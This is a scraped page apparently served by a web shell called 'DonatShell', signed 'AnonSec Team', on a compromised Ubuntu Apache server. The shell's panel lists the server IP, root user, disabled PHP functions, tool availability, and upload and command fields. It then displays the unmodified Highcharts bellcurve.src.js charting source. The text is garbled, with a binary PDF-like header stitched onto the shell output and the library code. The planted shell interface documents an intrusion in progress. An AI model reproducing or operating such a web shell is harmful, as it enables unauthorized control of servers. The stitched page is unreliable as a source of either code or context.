%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/backend/web/assets/16c36a2e/es-modules/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/backend/web/assets/16c36a2e/es-modules/modules/bellcurve.src.js
/* *
 * (c) 2010-2019 Highsoft AS
 *
 * Author: Sebastian Domas
 *
 * License: www.highcharts.com/license
 */

'use strict';

import H from '../parts/Globals.js';
import '../parts/Utilities.js';
import derivedSeriesMixin from '../mixins/derived-series.js';

var seriesType = H.seriesType,
    correctFloat = H.correctFloat,
    isNumber = H.isNumber,
    merge = H.merge;


/* ************************************************************************** *
 *  BELL CURVE                                                                *
 * ************************************************************************** */

function mean(data) {
    var length = data.length,
        sum = data.reduce(function (sum, value) {
            return (sum += value);
        }, 0);

    return length > 0 && sum / length;
}

function standardDeviation(data, average) {
    var len = data.length,
        sum;

    average = isNumber(average) ? average : mean(data);

    sum = data.reduce(function (sum, value) {
        var diff = value - average;

        return (sum += diff * diff);
    }, 0);

    return len > 1 && Math.sqrt(sum / (len - 1));
}

function normalDensity(x, mean, standardDeviation) {
    var translation = x - mean;

    return Math.exp(
        -(translation * translation) /
        (2 * standardDeviation * standardDeviation)
    ) / (standardDeviation * Math.sqrt(2 * Math.PI));
}


/**
 * Bell curve class
 *
 * @private
 * @class
 * @name Highcharts.seriesTypes.bellcurve
 *
 * @augments Highcharts.Series
 *
 * @mixes DerivedSeriesMixin
 */
seriesType('bellcurve', 'areaspline'

    /**
 * A bell curve is an areaspline series which represents the probability density
 * function of the normal distribution. It calculates mean and standard
 * deviation of the base series data and plots the curve according to the
 * calculated parameters.
 *
 * @sample {highcharts} highcharts/demo/bellcurve/
 *         Bell curve
 *
 * @extends      plotOptions.areaspline
 * @since        6.0.0
 * @product      highcharts
 * @excluding    boostThreshold, connectNulls, stacking, pointInterval,
 *               pointIntervalUnit
 * @optionparent plotOptions.bellcurve
 */
    , {
        /**
    * This option allows to define the length of the bell curve. A unit of the
    * length of the bell curve is standard deviation.
    *
    * @sample highcharts/plotoptions/bellcurve-intervals-pointsininterval
    *         Intervals and points in interval
    */
        intervals: 3,

        /**
    * Defines how many points should be plotted within 1 interval. See
    * `plotOptions.bellcurve.intervals`.
    *
    * @sample highcharts/plotoptions/bellcurve-intervals-pointsininterval
    *         Intervals and points in interval
    */
        pointsInInterval: 3,

        marker: {
            enabled: false
        }

    }, merge(derivedSeriesMixin, {
        setMean: function () {
            this.mean = correctFloat(mean(this.baseSeries.yData));
        },

        setStandardDeviation: function () {
            this.standardDeviation = correctFloat(
                standardDeviation(this.baseSeries.yData, this.mean)
            );
        },

        setDerivedData: function () {
            if (this.baseSeries.yData.length > 1) {
                this.setMean();
                this.setStandardDeviation();
                this.setData(
                    this.derivedData(this.mean, this.standardDeviation), false
                );
            }
        },

        derivedData: function (mean, standardDeviation) {
            var intervals = this.options.intervals,
                pointsInInterval = this.options.pointsInInterval,
                x = mean - intervals * standardDeviation,
                stop = intervals * pointsInInterval * 2 + 1,
                increment = standardDeviation / pointsInInterval,
                data = [],
                i;

            for (i = 0; i < stop; i++) {
                data.push([x, normalDensity(x, mean, standardDeviation)]);
                x += increment;
            }

            return data;
        }
    }));


/**
 * A `bellcurve` series. If the [type](#series.bellcurve.type) option is not
 * specified, it is inherited from [chart.type](#chart.type).
 *
 * For options that apply to multiple series, it is recommended to add
 * them to the [plotOptions.series](#plotOptions.series) options structure.
 * To apply to all series of this specific type, apply it to
 * [plotOptions.bellcurve](#plotOptions.bellcurve).
 *
 * @extends   series,plotOptions.bellcurve
 * @since     6.0.0
 * @product   highcharts
 * @excluding dataParser, dataURL, data
 * @apioption series.bellcurve
 */

/**
 * An integer identifying the index to use for the base series, or a string
 * representing the id of the series.
 *
 * @type      {number|string}
 * @apioption series.bellcurve.baseSeries
 */

Anon7 - 2022
AnonSec Team